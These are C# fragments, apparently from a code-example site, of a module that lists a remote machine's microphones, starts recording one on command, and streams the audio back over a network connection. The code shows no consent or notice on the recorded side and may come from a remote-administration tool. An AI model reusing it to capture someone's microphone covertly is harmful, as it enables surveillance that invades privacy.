Example #1
0
        public void StartRemoteStreaming(CaptureDeviceInfo device)
        {
            if (IsRemoteStreaming)
            {
                return;
            }

            IsRemoteStreaming = true;
            _cscoreDataPlayer = new CSCoreDataPlayer(true);
            _cscoreDataPlayer.Initialize();
            _cscoreDataPlayer.SingleBlockRead += RemoteBlockRead;

            var voiceChatInfoData =
                Serializer.FastSerialize(new VoiceChatBeginCaptureInfo
            {
                Application = (int)Application,
                Bitrate     = Bitrate,
                DeviceId    = device.Id
            });

            ConnectionInfo.UnsafeSendCommand(this, new WriterCall(voiceChatInfoData.Length + 1, stream =>
            {
                stream.WriteByte((byte)VoiceChatCommunication.StartRemoteStreaming);
                stream.Write(voiceChatInfoData, 0, voiceChatInfoData.Length);
            }));

            LogService.Send((string)System.Windows.Application.Current.Resources["StartRemoteStream"]);
        }
 public override void Dispose()
 {
     base.Dispose();
     _cscoreRecorder?.Dispose();
     _cscoreRecorder = null;
     _cscoreDataPlayer?.Dispose();
     _cscoreDataPlayer = null;
 }
Example #3
0
        public void StopRemoteStreaming()
        {
            if (!IsRemoteStreaming)
            {
                return;
            }

            IsRemoteStreaming = false;

            ConnectionInfo.SendCommand(this, (byte)VoiceChatCommunication.StopRemoteStreaming);
            _cscoreDataPlayer.Dispose();
            _cscoreDataPlayer = null;
            LogService.Send((string)System.Windows.Application.Current.Resources["StopRemoteStream"]);
        }
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((VoiceChatCommunication)parameter[0])
            {
            case VoiceChatCommunication.StartLocalStreaming:
                _cscoreDataPlayer = new CSCoreDataPlayer(false);
                _cscoreDataPlayer.Initialize();
                break;

            case VoiceChatCommunication.SendAudioPackage:
                _cscoreDataPlayer?.Feed(parameter, 1, parameter.Length - 1);
                break;

            case VoiceChatCommunication.StartRemoteStreaming:
                var captureInfo = Serializer.FastDeserialize <VoiceChatBeginCaptureInfo>(parameter, 1);

                MMDevice selectedDevice;
                using (var mmDeviceEnumerator = new MMDeviceEnumerator())
                    using (var devices = mmDeviceEnumerator.EnumAudioEndpoints(DataFlow.Capture, DeviceState.Active))
                    {
                        selectedDevice = devices.FirstOrDefault(x => x.DeviceID == captureInfo.DeviceId);
                    }

                _cscoreRecorder = new CSCoreRecorder(selectedDevice, false, captureInfo.Bitrate,
                                                     (Application)captureInfo.Application);
                _cscoreRecorder.DataAvailable += (sender, args) =>
                {
                    connectionInfo.UnsafeResponse(this, new WriterCall(args.DataInfo.Length + 1, stream =>
                    {
                        stream.WriteByte((byte)VoiceChatCommunication.ResponseAudioPackage);
                        args.DataInfo.WriteIntoStream(stream);
                    }));
                };
                _cscoreRecorder.Initialize();
                break;

            case VoiceChatCommunication.GetRemoteAudioDevices:
                using (var mmDeviceEnumerator = new MMDeviceEnumerator())
                    using (var devices = mmDeviceEnumerator.EnumAudioEndpoints(DataFlow.Capture, DeviceState.Active))
                        using (var defaultDevice = mmDeviceEnumerator.GetDefaultAudioEndpoint(DataFlow.Capture,
                                                                                              Role.Communications))
                        {
                            var captureListData =
                                new Serializer(typeof(List <CaptureDeviceInfo>)).Serialize(
                                    devices.Select(
                                        device =>
                                        new CaptureDeviceInfo
                            {
                                Id        = device.DeviceID,
                                Name      = device.FriendlyName,
                                IsDefault = defaultDevice.DeviceID == device.DeviceID
                            })
                                    .ToList());

                            ResponseBytes((byte)VoiceChatCommunication.ResponseAudioDevices, captureListData,
                                          connectionInfo);
                        }
                break;

            case VoiceChatCommunication.StopLocalStreaming:
                _cscoreDataPlayer.Dispose();
                _cscoreDataPlayer = null;
                break;

            case VoiceChatCommunication.StopRemoteStreaming:
                _cscoreRecorder.Dispose();
                _cscoreRecorder = null;
                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }